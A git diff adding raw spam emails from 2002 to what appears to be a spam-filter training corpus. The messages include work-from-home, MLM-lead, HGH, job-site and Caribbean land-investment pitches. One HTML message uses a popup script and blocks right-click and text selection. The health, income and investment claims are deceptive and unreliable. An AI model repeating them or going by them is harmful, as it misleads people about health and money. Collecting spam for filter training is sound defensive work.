19371294169; Wed, 24 Jul 2002 19:15:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from nocmailsvc003.allthesites.org (unknown [65.196.202.106]) by + xent.com (Postfix) with ESMTP id 6D1BC29415E for ; + Wed, 24 Jul 2002 19:14:13 -0700 (PDT) +Received: from your-yn89p666bj (unverified [65.148.113.114]) by + nocmailsvc003.allthesites.org (Rockliffe SMTPRA 4.5.6) with SMTP id + for ; + Wed, 24 Jul 2002 22:10:23 -0400 +Message-Id: <414-2200274252149745@your-yn89p666bj> +From: "garry" +To: fork@spamassassin.taint.org +Subject: Greetings from Calif! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 19:14:09 -0700 +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6P2GZ424912 +Content-Transfer-Encoding: 8bit + + +!Want to make a million bucks this year? +Me too but it's probably not going happen! + +However if your looking for the opportunity to +make a couple thousand a week, +working form home, with your pc, we need to talk. + +If you're over 18 and a US resident, + +Just Click REPLY + +Send me your Name, State, +Complete telephone number, +and the best time to contact you. + +I will personally speak with you within 48 hours. +To be removed from this mailing list, please type remove in the subject column. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/01037.3512597a838a3eaf3149924386ef9fd3 b/bayes/spamham/spam_2/01037.3512597a838a3eaf3149924386ef9fd3 new file mode 100644 index 0000000..b4d6af7 --- /dev/null +++ b/bayes/spamham/spam_2/01037.3512597a838a3eaf3149924386ef9fd3 @@ -0,0 +1,150 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6OMigi5090780 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 17:44:42 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6OMigcs090777 + for cypherpunks-forward@ds.pro-ns.net; Wed, 24 Jul 2002 17:44:42 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6OMiOi4090620 + for ; Wed, 24 Jul 2002 17:44:40 -0500 (CDT) + (envelope-from cpunks@einstein.ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id RAA04037 + for cypherpunks@ds.pro-ns.net; Wed, 24 Jul 2002 17:53:21 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id RAA03959 + for cypherpunks-outgoing; Wed, 24 Jul 2002 17:52:50 -0500 +Received: from yahoo.com (nobody@[210.95.94.211]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id RAA03934 + for ; Wed, 24 Jul 2002 17:52:37 -0500 +Message-ID: <004c35c08a6b$7135c1b2$3be57ea6@lmvahc> +From: "Free" +To: +Subject: FREE e-Book Publishing Software - Download NOW! +Date: Thu, 25 Jul 2002 00:38:17 -0200 +MiME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2616 +Importance: Normal +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6PDYEi4039334 + + + +Digital Authoring Tools - Free Software Alert! + + + +
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    + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01038.95ce9be665025f2ab826870d509337c6 b/bayes/spamham/spam_2/01038.95ce9be665025f2ab826870d509337c6 new file mode 100644 index 0000000..20258f7 --- /dev/null +++ b/bayes/spamham/spam_2/01038.95ce9be665025f2ab826870d509337c6 @@ -0,0 +1,138 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6P57Bi5040575 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 00:07:11 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6P57BCF040571 + for cypherpunks-forward@ds.pro-ns.net; Thu, 25 Jul 2002 00:07:11 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6P573i5040550 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 00:07:04 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6P572J66942 + for ; Thu, 25 Jul 2002 01:07:03 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6P572E25396 + for cypherpunks@ds.pro-ns.net; Thu, 25 Jul 2002 01:07:02 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6P56wR25355 + for ; Thu, 25 Jul 2002 01:06:58 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6P56uJ66928 + for ; Thu, 25 Jul 2002 01:06:56 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id AAA30869 + for cpunks@minder.net; Thu, 25 Jul 2002 00:15:53 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id AAA30862 + for cypherpunks-outgoing; Thu, 25 Jul 2002 00:15:47 -0500 +Received: from msn.com ([210.237.167.71]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id AAA30848 + for ; Thu, 25 Jul 2002 00:15:38 -0500 +From: Dale0110f17@msn.com +Received: from [132.26.216.69] by f64.law4.hottestmale.com with QMQP; 25 Jul 2002 12:11:40 -0200 +Received: from unknown (HELO hd.ressort.net) (23.178.206.18) + by rly-yk05.pesdets.com with asmtp; Thu, 25 Jul 2002 10:03:13 -0900 +Received: from unknown (93.143.242.10) + by rly-xw05.oxyeli.com with esmtp; Thu, 25 Jul 2002 00:54:46 +0400 +Message-ID: <035b72b71b7b$2453e1a3$2ec23ee5@espxkt> +To: Netizen@aol.com +Old-Subject: CDR: You Only THINK You're U.S. Citizen!! 8403ZmSX2-110-12 +Date: Thu, 25 Jul 2002 03:54:29 +0100 +MiME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: eGroups Message Poster +Importance: Normal +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: You Only THINK You're U.S. Citizen!! 8403ZmSX2-110-12 + +

    You only THINK you're a +U.S. citizen!!

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    +3. Any Citizen of one of the 50 united States of America
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    + +Our web site is FILLED with educational and +eye
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    +

    + + + +0489xPJK9-7l10 + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01039.40b21f41dcf48f380729c22cd2a62122 b/bayes/spamham/spam_2/01039.40b21f41dcf48f380729c22cd2a62122 new file mode 100644 index 0000000..565473c --- /dev/null +++ b/bayes/spamham/spam_2/01039.40b21f41dcf48f380729c22cd2a62122 @@ -0,0 +1,153 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6OLD9i5055020 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 16:13:09 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6OLD9OL055017 + for cypherpunks-forward@ds.pro-ns.net; Wed, 24 Jul 2002 16:13:09 -0500 (CDT) +Received: from amuro.net (200-161-131-170.dsl.telesp.net.br [200.161.131.170]) + by hq.pro-ns.net (8.12.5/8.12.5) with SMTP id g6OLD1i4054992; + Wed, 24 Jul 2002 16:13:03 -0500 (CDT) + (envelope-from mlm1leads4u@amuro.net) +X-Authentication-Warning: hq.pro-ns.net: Host 200-161-131-170.dsl.telesp.net.br [200.161.131.170] claimed to be amuro.net +Received: from [63.34.114.96] by f64.law4.hottestmale.com with asmtp; 25 Jul 2002 10:12:52 -0500 +Received: from unknown (205.113.213.50) + by rly-yk05.pesdets.com with asmtp; Thu, 25 Jul 2002 05:03:43 -0800 +Reply-To: "MLM Insider Forum" +Message-ID: <027d26d34e6e$1647d6d1$7ba22eb5@falhhf> +From: "MLM Insider Forum" +To: +Cc: +Subject: Cost-Effective MLM/Bizop Phone-Screened Leads +Date: Thu, 25 Jul 2002 00:08:35 -0300 +MiME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4133.2400 +Importance: Normal + + +Hello,

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    +
    +     + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01040.24856bbcaedd4d7b28eae47d8f89a62f b/bayes/spamham/spam_2/01040.24856bbcaedd4d7b28eae47d8f89a62f new file mode 100644 index 0000000..0c80718 --- /dev/null +++ b/bayes/spamham/spam_2/01040.24856bbcaedd4d7b28eae47d8f89a62f @@ -0,0 +1,97 @@ +From fork-admin@xent.com Thu Jul 25 11:19:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DC842440D2 + for ; Thu, 25 Jul 2002 06:19:49 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:19:49 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6P3XY428141 for ; + Thu, 25 Jul 2002 04:33:35 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 4F8DB294169; Wed, 24 Jul 2002 20:32:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from run-home (h053.tr.kct.ne.jp [211.125.110.53]) by xent.com + (Postfix) with ESMTP id 9A6CC294163 for ; Wed, + 24 Jul 2002 20:31:05 -0700 (PDT) +From: Member_Service@aol.com +To: fork@spamassassin.taint.org +Subject: =?ISO-8859-1?Q?Lose=20fat=2C=20gain=20muscle=20with=20HGH?= +MIME-Version: 1.0 (produced by Synapse) +X-Mailer: Synapse - Delphi & Kylix TCP/IP library by Lukas Gebauer +Content-Disposition: inline +Content-Description: HTML text +Message-Id: <20020725033105.9A6CC294163@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 11:10:01 +0800 +Content-Type: text/html; charset=UTF-8 +Content-Transfer-Encoding: Quoted-printable + +=3Chtml=3E=3Cbody onload=3D=22window=2Eopen=28'http=3A=2F=2F202=2E101= +=2E163=2E34=3A81=2Fultimatehgh=5Frun=2F'=29=22 +bgColor=3D=22#CCCCCC=22 topmargin=3D1 onMouseOver=3D=22window=2Estatus= +=3D''=3B return true=22 +oncontextmenu=3D=22return false=22 ondragstart=3D=22return false=22= + onselectstart=3D=22return false=22=3E +=3Cdiv align=3D=22center=22=3EHello=2C =5B!To!=5D=3CBR=3E=3CBR=3E=3C=2Fdiv= +=3E=3Cdiv align=3D=22center=22=3E=3C=2Fdiv=3E=3Cp +align=3D=22center=22=3E=3Cb=3E=3Cfont face=3D=22Arial=22 size=3D=224=22= +=3EHuman Growth Hormone Therapy=3C=2Ffont=3E=3C=2Fb=3E=3C=2Fp=3E +=3Cp align=3D=22center=22=3E=3Cb=3E=3Cfont face=3D=22Arial=22 size=3D=224= +=22=3ELose weight while building lean muscle +mass=3Cbr=3Eand reversing the ravages of aging all at once=2E=3C=2Ffont=3E= +=3Cfont face=3D=22Arial=22 +size=3D=223=22=3E=3Cbr=3E +=3C=2Ffont=3E=3C=2Fb=3E=3Cfont face=3D=22Arial=22 size=3D=223=22=3E =3Cbr= +=3ERemarkable discoveries about Human Growth +Hormones =28=3Cb=3EHGH=3C=2Fb=3E=29 =3Cbr=3Eare changing the way we think= + about aging and weight +loss=2E=3C=2Ffont=3E=3C=2Fp=3E +=3Ccenter=3E=3Ctable width=3D=22481=22=3E=3Ctr=3E=3Ctd height=3D=222=22= + width=3D=22247=22=3E=3Cp align=3D=22left=22=3E=3Cb=3E=3Cfont +face=3D=22Arial=2C Helvetica=2C sans-serif=22 size=3D=223=22=3ELose Weight= +=3Cbr=3EBuild Muscle Tone=3Cbr=3EReverse +Aging=3Cbr=3E +Increased Libido=3Cbr=3EDuration Of Penile Erection=3Cbr=3E=3C=2Ffont=3E= +=3C=2Fb=3E=3C=2Fp=3E=3C=2Ftd=3E=3Ctd height=3D=222=22 +width=3D=22222=22=3E=3Cp align=3D=22left=22=3E=3Cb=3E=3Cfont face=3D= +=22Arial=2C Helvetica=2C sans-serif=22 +size=3D=223=22=3EHealthier Bones=3Cbr=3E +Improved Memory=3Cbr=3EImproved skin=3Cbr=3ENew Hair Growth=3Cbr=3EWrinkle= + Disappearance +=3C=2Ffont=3E=3C=2Fb=3E=3C=2Fp=3E=3C=2Ftd=3E=3C=2Ftable=3E=3C=2Fcenter=3E +=3Cp align=3D=22center=22=3E=3Ca href=3D=22http=3A=2F=2F202=2E101=2E163= +=2E34=3A81=2Fultimatehgh=5Frun=2F=22=3E=3Cfont face=3D=22Arial=22 +size=3D=224=22=3E=3Cb=3EVisit + Our Web Site and Learn The Facts =3A Click Here=3C=2Fb=3E=3C=2Ffont=3E= +=3C=2Fa=3E=3Cbr=3E + =3Cbr=3E + =3Ca href=3D=22http=3A=2F=2F64=2E123=2E160=2E91=3A81=2Fultimatehgh=5Frun= +=2F=22=3E=3Cfont size=3D=224=22=3E=3Cb=3EOR + Here=3C=2Fb=3E=3C=2Ffont=3E=3C=2Fa=3E=3C=2Fp=3E +=3Cdiv align=3D=22center=22=3E=3Cbr=3E + You are receiving this email as a subscr=3C!----=3Eiber=3Cbr=3E + to the Opt=3C!----=3E-In Ameri=3C!----=3Eca Mailin=3C!----=3Eg Lis= +=3C!----=3Et=2E =3Cbr=3E +To remo=3C!----=3Eve your=3C!----=3Eself from all related mailli=3C!--me--= +=3Ests=2C=3Cbr=3Ejust =3Ca +href=3D=22http=3A=2F=2F64=2E123=2E160=2E91=3A81=2Fultimatehgh=5Frun= +=2Fremove=2Ephp=3Fuserid=3D=5B!To!=5D=22=3EClick +Here=3C=2Fa=3E=3C=2Fdiv=3E=3C=2Fbody=3E=3C=2Fhtml=3E + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/01041.1ece6e061e80e648c8156d52decd0610 b/bayes/spamham/spam_2/01041.1ece6e061e80e648c8156d52decd0610 new file mode 100644 index 0000000..e3910cc --- /dev/null +++ b/bayes/spamham/spam_2/01041.1ece6e061e80e648c8156d52decd0610 @@ -0,0 +1,239 @@ +From stephen.adler@allexecs.org Thu Jul 25 11:05:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8D192440D1 + for ; Thu, 25 Jul 2002 06:05:36 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:05:36 +0100 (IST) +Received: from allexecs.org ([211.167.175.16]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6P3UK427948 for ; + Thu, 25 Jul 2002 04:30:22 +0100 +Received: from allexecs.org (mail [127.0.0.1]) by allexecs.org + (8.12.2/8.12.2) with SMTP id g6P3TX57026200 for ; + Thu, 25 Jul 2002 11:29:33 +0800 +Message-Id: <200207250329.g6P3TX57026200@allexecs.org> +Date: Thu, 25 Jul 2002 11:29:33 +0800 +From: Steve Adler +Subject: Summer Job Interviews. . . . +To: yyyy-cv@spamassassin.taint.org +MIME-Version: 1.0 +X-Cidl: 5625291J +Content-Type: multipart/mixed; boundary="----ack1234" + + + +------ack1234 +Content-Type: multipart/alternative; boundary="----alt_border_1" + +------alt_border_1 +Content-Type: text/plain; charset="ISO-8859-1" +Content-Transfer-Encoding: quoted-printable + +Greetings! + +If you're thinking about a new job, now's the time to +aggressively pick up your search. Many people slow +their job search donw in summer months when in fact +it's the best time to look! + +Here's why. Many companies implement a new direction +or strategy at the first of the year, resulting in a +first of the year hiring surge. By mid year, with +results in hand, companies start hiring again to +expand on or adjust for the results of their first of +the year plans. + +While employers start hiring, job seekers start +slowing their search efforts down. This creates an +optimal job seeking environment of more jobs and less +competition! + +To best take advantage of this situation you should give +yourself massive exposure by signing up to all the top +career sites as soon as possible. Of course it will take +a little time, but it's well worth it. The top career +sites are visited by 1.5 million employers and recruiters +daily - And collectively list millions of jobs. + +If you want to save 60 hours of research and data entry, +try a service called ResumeRabbit.com. They instantly +post your resume to 75 the top career sites at once. +You'll find this service at http://start.resumerabbit.com + +With this service you fill out one simple form in about +15 minutes and you'll be instantly seen on Monster.com, +HotJobs.com, Job.com CareerBuilder.com, Dice.com and more! + +When searching for a new job, it's important to work +smart and cover a lot of ground. Today's serious job +seeker must take a multi-pronged approach to succeed. +This should include networking, reading all the +classifieds, posting your resume on all the top career +sites and searching job listings on these sites daily. + +We recommend you try http://start.resumerabbit.com +It's a quality service that delivers what it promises. + +>>From mid November to mid January, the holidays have +a "slowing down" effect on hiring. Since the job search +process can often be several months, waiting until the +end of summer to get started may push your new job off +well after the new year. Now's the optimum time to +aggressively mount your search! + +Sincerely, + + +Steve Adler +stephen.adler@allexecs.org + + +======================================================== + +The staff of AllExecs.com have years of recruiting +experience and may from time to time send you a review of +career tips and tools that have helped others in their job +search. If you'd rather not receive these reviews go to +http://www.allexecs.com/unsubscribe +======================================================== + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +------alt_border_1 +Content-Type: text/html; charset="ISO-8859-1" + + + + + +Allexecs.org + + + + +

    Greetings!
    +
    +If you're thinking about a new job, now's the time to +aggressively pick up your search. Many people slow +their job search donw in summer months when in fact +it's the best time to look!
    +
    +Here's why. Many companies implement a new direction +or strategy at the first of the year, resulting in a +first of the year hiring surge. By mid year, with +results in hand, companies start hiring again to +expand on or adjust for the results of their first of +the year plans.
    +
    +While employers start hiring, job seekers start +slowing their search efforts down. This creates an +optimal job seeking environment of more jobs and less +competition!
    +
    +To best take advantage of this situation you should give +yourself massive exposure by signing up to all the top +career sites as soon as possible. Of course it will take +a little time, but it's well worth it. The top career +sites are visited by 1.5 million employers and recruiters +daily - And collectively list millions of jobs.
    +
    +If you want to save 60 hours of research and data entry, +try a service called ResumeRabbit.com. They instantly +post your resume to 75 the top career sites at once. +You'll find this service at http://start.resumerabbit.com
    +
    +With this service you fill out one simple form in about +15 minutes and you'll be instantly seen on Monster.com, +HotJobs.com, Job.com CareerBuilder.com, Dice.com and more!
    +
    +When searching for a new job, it's important to work +smart and cover a lot of ground. Today's serious job +seeker must take a multi-pronged approach to succeed. +This should include networking, reading all the +classifieds, posting your resume on all the top career +sites and searching job listings on these sites daily.
    +
    +We recommend you try http://start.resumerabbit.com
    +It's a quality service that delivers what it promises.
    +
    +>>From mid November to mid January, the holidays have +a "slowing down" effect on hiring. Since the job search +process can often be several months, waiting until the +end of summer to get started may push your new job off +well after the new year. Now's the optimum time to +aggressively mount your search!
    +
    +Sincerely,
    +
    +
    +Steve Adler
    +stephen.adler@allexecs.org
    +
    +
    +========================================================
    +The staff of AllExecs.com have years of recruiting +experience and may from time to time send you a review of +career tips and tools that have helped others in their job +search. If you'd rather not receive these reviews go to +http://www.allexecs.com/unsubscribe
    +========================================================
    +

    + + + + +------alt_border_1-- +------ack1234-- + + diff --git a/bayes/spamham/spam_2/01042.7b53680639a0b4ec9e333ce3046b6af4 b/bayes/spamham/spam_2/01042.7b53680639a0b4ec9e333ce3046b6af4 new file mode 100644 index 0000000..33c8f6a --- /dev/null +++ b/bayes/spamham/spam_2/01042.7b53680639a0b4ec9e333ce3046b6af4 @@ -0,0 +1,197 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6P4bJi5028880 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 23:37:19 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6P4bJYE028873 + for cypherpunks-forward@ds.pro-ns.net; Wed, 24 Jul 2002 23:37:19 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6P4bBi5028858 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 23:37:12 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6P4bAJ65921 + for ; Thu, 25 Jul 2002 00:37:10 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6P4b9b23344 + for cypherpunks@ds.pro-ns.net; Thu, 25 Jul 2002 00:37:09 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6P4b6R23324 + for ; Thu, 25 Jul 2002 00:37:06 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6P4b5J65909 + for ; Thu, 25 Jul 2002 00:37:05 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id XAA29146 + for cpunks@minder.net; Wed, 24 Jul 2002 23:46:06 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id XAA29138 + for cypherpunks-outgoing; Wed, 24 Jul 2002 23:45:55 -0500 +Received: from www.fastgroupsa.com (jfnas2167.200-pool-149.cwpanama.net [208.167.200.149]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id XAA29132 + for ; Wed, 24 Jul 2002 23:45:48 -0500 +From: sancristobal@fastgroupsa.com +Message-Id: <200207250445.XAA29132@einstein.ssz.com> +To: Brokers<> +Old-Subject: CDR: RE: International Real Estate - Huge Commissions +Date: Wed, 24 Jul 2002 23:34:38 -0400 +X-Sender: sancristobal@fastgroupsa.com +X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 +Content-Type: text/html; charset="iso-8859-1" +X-Priority: 3 +X-MSMail-Priority: Normal +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: RE: International Real Estate - Huge Commissions + + + + + + + + +Web Letter + + + + + + + + + + +

    + + + +
    +
    +
    +

    Tremendous Investment Opportunity!

    +

    Are you are fed up with the manipulation and erratic performance of the stock market?  Like most people, are you looking for a stable investment that can provide a 25%-35% tax-free annual cash flow return?  If you answered yes to either question, I have an exciting offering for you.

    +

    I represent a company that has a limited offering of emerging growth Caribbean Real Estate that enjoins a tropical working farm, which provides substantial cash flow, long-term wealth accumulation, and the proven appreciation of Caribbean real estate.

    +

    Here are the details:

    + + + + +
    + + + + +
    +
      +

        A 20-acre tract of waterfront Caribbean real estate is only $106,000 (including closing costs and dual residency status in a tax-advantaged country).

      +

        The investment will be totally private and protected from lawsuits.

       +

        The plantation has a proven track record.

       +

        Total turnkey system is provided - You buy the real estate. The Management Company plants, maintains, and harvests your crop.  You deposit the quarterly cash returns.

       +
    +
    +

    +

    We currently have several tracts of Phase II remaining and it is premier property that is planned to overlook the natural marina of an eco resort. There is incredible demand for these tracts and I wanted to give you the first opportunity to participate in this exciting and lucrative project.

    +

    Please review the online PowerPoint presentation and I can put you in touch with the principals of the project to answer any questions that you have.

    Click Here to View Presentation

    +

    Please contact me, as soon as possible, so you don't miss out on this offering.

    +

    Sincerely yours, +

    Corporate
    Real Property Magazine
    Master Broker
    San Cristobal Land Development
    http://www.sancristobalsa.net/index.php?siteID=tom@realpropertymagazine.com

    +

    PS.  If Huge Returns, Rapid Cash Flow, and the Security of Titled Real Estate interest you, contact me, today!

    +

    +Telephone: 011-507 226-2675
    Fax: 011-507 226-5884
    E-mail: tom@realpropertymagazine.com


    +Please fill in the form below to request more information:

    + + + +
    + + + + + + +
    + + +
    + + + + + + + + + + + + + + + + +

    + +Name:   +
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    + +Phone:   + + +
    + +E-mail:   + + +

    + +
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    +
    + +
    +

     

    +

     

     

    +
    + + + +To be removed reply with "remove" in the subject line. Thank you! + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01043.0c5ba977fb678deeff6b841772e76c86 b/bayes/spamham/spam_2/01043.0c5ba977fb678deeff6b841772e76c86 new file mode 100644 index 0000000..326d137 --- /dev/null +++ b/bayes/spamham/spam_2/01043.0c5ba977fb678deeff6b841772e76c86 @@ -0,0 +1,372 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6P8mxi5027401 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 03:48:59 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6P8mwuj027396 + for cypherpunks-forward@ds.pro-ns.net; Thu, 25 Jul 2002 03:48:58 -0500 (CDT) +Received: from slack.lne.com (dns.lne.com [209.157.136.81] (may be forged)) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6P8mpi5027361 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 03:48:56 -0500 (CDT) + (envelope-from cpunk@slack.lne.com) +X-Authentication-Warning: hq.pro-ns.net: Host dns.lne.com [209.157.136.81] (may be forged) claimed to be slack.lne.com +Received: (from cpunk@localhost) + by slack.lne.com (8.12.5/8.12.5) id g6P8mnxa029579 + for cypherpunks@ds.pro-ns.net; Thu, 25 Jul 2002 01:48:49 -0700 